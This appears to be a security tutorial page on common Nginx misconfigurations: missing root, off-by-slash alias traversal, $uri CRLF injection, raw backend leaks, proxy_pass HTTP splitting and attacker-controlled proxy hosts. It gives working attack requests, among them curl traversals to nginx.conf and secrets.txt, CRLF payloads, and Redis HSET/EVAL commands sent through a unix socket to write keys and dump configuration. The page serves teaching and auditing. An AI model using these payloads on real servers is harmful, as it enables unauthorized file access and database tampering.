Nginx

Theory

NGINX is open source software for web serving, reverse proxying, caching, load balancing, media streaming, and more. But there is some common Nginx misconfigurations that, if left unchecked, leave the web site vulnerable to attack.

Misconfigurations

Tools

There are several tools available, such as Gixy and Nginxpwner, which can automate the process of identifying misconfigurations in Nginx.

Gixy is a tool to analyze Nginx configuration. The main goal of Gixy is to prevent security misconfiguration and automate flaw detection. This is a static files analyzer.

#Static analyze
gixy /etc/nginx/nginx.conf

Nginxpwner will dynamicly look for common Nginx misconfigurations and vulnerabilities.

#Target tab in Burp, select host, right click, copy all URLs in this host, copy to a file
cat urllist | unfurl paths | cut -d"/" -f2-3 | sort -u > /tmp/pathlist 
#Or get the list of paths you already discovered in the application in some other way. 
#Note: the paths should not start with /

#Finally, run it
python3 nginxpwner.py https://example.com /tmp/pathlist

Missing Root Location

The root directive specifies the root folder for Nginx. In the following example, the root folder is /etc/nginx which means that we can reach files within that folder.

server {
        root /etc/nginx;

        location /hello.txt {
                try_files $uri $uri/ =404;
                proxy_pass http://127.0.0.1:8080/;
        }
}

In the above example, the root folder is /etc/nginx which means that we can reach files within that folder. The configuration does not have a location for / (location / {...})

Because of this missconfiguration in the previous example, the root directive will be globally set, meaning that requests to / will take you to the local path /etc/nginx.

#We can get sensitive files as the nginx.conf
curl http://example.com/nginx.conf

Off-By-Slash Misconfiguration

With the Off-by-slash misconfiguration, it is possible to traverse one step up the path due to a missing slash. Inside the Nginx configuration look the "location" statements, if someone looks like:

#Missing slash with alias directive
location /imgs { 
    alias /path/images/;
}

#Missing slash with proxy_pass directive
location /api {
    proxy_pass http://apiserver/v1/;
}

Because of this missconfiguration in the previous example, there is an LFI vulnerability. /imgs../secrets.txt will be transform to /path/images/../secrets.txt

#We can get sensitive files
curl http://example.com/imgs/../../secrets.txt

curl http://example.com/api/../../secrets.txt

Unsafe Variable Use

Some frameworks, scripts and Nginx configurations unsafely use the variables stored by Nginx. This can lead to issues such as XSS, bypassing HttpOnly-protection, information disclosure and in some cases even RCE.

With a configuration such as the following:

location / {
  return 302 https://example.com$uri;
}

The misconfiguration related is to use $uri or $document_uri instead of $request_uri which results in a CRLF injection. This is because this two variables contain the normalized URI whereas the normalization in Nginx includes URL decoding.

Because of this missconfiguration in the previous example, there is an CRLF vulnerability. URL-encoding the new line characters (\r\n) results in the following representation of the characters %0d%0a. When these characters are included in a request like http://localhost/%0d%0aDetectify:%20clrf to a server with the misconfiguration, the server will respond with a new header named Detectify since the $uri variable contains the URL-decoded new line characters.

#We send the following request
curl http://example.com/%0d%0aDetectify:%20clrf

#The server respond with a new header named Detectify
#since the $uri variable contains the URL-decoded new line characters.
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

learn more about CRLF and TTP response splitting here

Raw Backend Response Reading

In Nginx, proxy_pass you can intercept errors and HTTP headers created by the backend. This is very useful if you want to hide internal error messages. But if client sends an invalid HTTP request, it will be forwarded as-is to the backend, the backend will answer with its raw content, and then Nginx won’t understand the invalid HTTP response and just forward it to the client.

With a configuration such as the following:

http {
   error_page 500 /html/error.html;
   proxy_intercept_errors on;
   proxy_hide_header Secret-Header;
}

proxy_intercept_errors will serve a custom response if the backend has a response status greater than 300. In our uWSGI application above, we will send a 500 Error which would be intercepted by Nginx. proxy_hide_header is pretty much self explanatory; it will hide any specified HTTP header from the client.

Because of this missconfiguration in the previous example, if we send an invalid HTTP request, we can leak informations from the backend

#Send invalid HTTP request
GET /? XTTP/1.1
Host: 127.0.0.1
Connection: close

#Respons with leaked informations
XTTP/1.1 500 Error
Content-Type: text/html
Secret-Header: secret-info

Secret info, should not be visible!

Merge_slashes Set To Off

The merge_slashes directive is set to on by default which is a mechanism to compress two or more forward slashes into one, so /// would become /. If Nginx is used as a reverse-proxy and the application that’s being proxied is vulnerable to local file inclusion, using extra slashes in the request could leave room for exploit it. This is described in detail by Danny Robinson and Rotem Bar

Proxy_pass Misconfigurations

The proxy_pass directive can be used to redirect internally requests to other servers internal or external. The use of this directive isn't a vulnerability but you should check how it's configured.

HTTP Splitting

If the regular expressions used in that directive are weak, they allow HTTP splitting to happen.

With a configuration such as the following:

location ~ /docs/([^/]*/[^/]*)? {
    proxy_pass https://bucket.s3.amazonaws.com/docs-website/$1.html;
}

the problem with this regular expressions is that it also allows newlines per default. In this case, the [^/]* part actually also includes encoded newlines.

Because of this missconfiguration, using multiple %0d%0a (CRLF) allow us to exploit that HTTP SPlitting vulnerability successfully. We can send the following request:

#Request
curl 'http://example.com/docs/%20HTTP/1.1%0d%0aHost:non-existing-bucket1%0d%0a%0d%0a'

#Request sent to bucket after proxy
GET /docs-website/ HTTP/1.1
Host:non-existing-bucket1

.html HTTP/1.0
Host: bucket.s3.amazonaws.com

Controlling proxied host

In some setups, a matching path is used as part of the hostname to proxy to.

location ~ /static/(.*)/(.*) {
    proxy_pass   http://$1-example.s3.amazonaws.com/$2;
}

Since the bucket is attacker controlled (part of the URI path) this leads to XSS but also has further implications.

We could make proxy_pass connect to a local unix socket as it supports proxying requests to local unix sockets. What might be surprising is that the URI given to proxy_pass can be prefixed with http:// or as a UNIX-domain socket path specified after the word unix and enclosed in colons:

proxy_pass http://unix:/tmp/backend.sock:/uri/;

Because of this missconfiguration, we can send a request to a local unix socket.

#Request
curl 'http://example.com/static/unix:%2ftmp%2fsocket.sock:TEST/app-1555347823-min.js'

#Request sent to /tmp/socket.sock after proxy
GET TEST-example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

For example, we can use it to make requests to a Redis socket and write any key:

#Request that set the key: "hacked" "isadmin" true
curl -X HSET "http://example.com/static/unix:/var/run/redis/redis.sock:hacked%20isadmin%20true%20/random"

#Request sent to /var/run/redis/redis.sock (Redis socket)
HSET hacked "isadmin" "true" -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

Arbitrary Redis command execution vulnerability may be abuse using the EVAL command from Redis. We can execute Redis commands from EVAL using two different Lua functions: redis.call() and redis.pcall()

# Request to overwrite the maxclients config key:
curl -X EVAL "http://example.com/static/unix:/var/run/redis/redis.sock:%22return%20redis.call('config','set','maxclients',1337)%22%200%20/app-1555347823-min.js" 

#Request sent to /var/run/redis/redis.sock (Redis socket)
EVAL "return redis.call('config','set','maxclients',1337)" 0 -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close

None of these commands respond with a valid HTTP response, and Nginx will not forward the output of the commands to the client, but instead a generic 502 Bad Gateway error.

Extracting data can be done avoiding the 502 error by simply having the string HTTP/1.0 200 OK anywhere in the response using string concatenation in the Lua script.

#Request to extract response from the CONFIG GET * command
#You may use other commands like redis.call("hgetall","key") for HGETALL
curl -X EVAL 'http://example.com/static/unix:/var/run/redis/redis.sock:%27return%20(table.concat(redis.call("config","get","*"),"\n").."%20HTTP/1.1%20200%20OK\r\n\r\n")%27%200%20/app-1555347823-min.js'

#Request sent to /var/run/redis/redis.sock (Redis socket)
EVAL 'return (table.concat(redis.call("config","get","*"),"\n").." HTTP/1.1 200 OK\r\n\r\n")' 0 -example.s3.amazonaws.com/app-1555347823-min.js HTTP/1.0
Host: localhost
Connection: close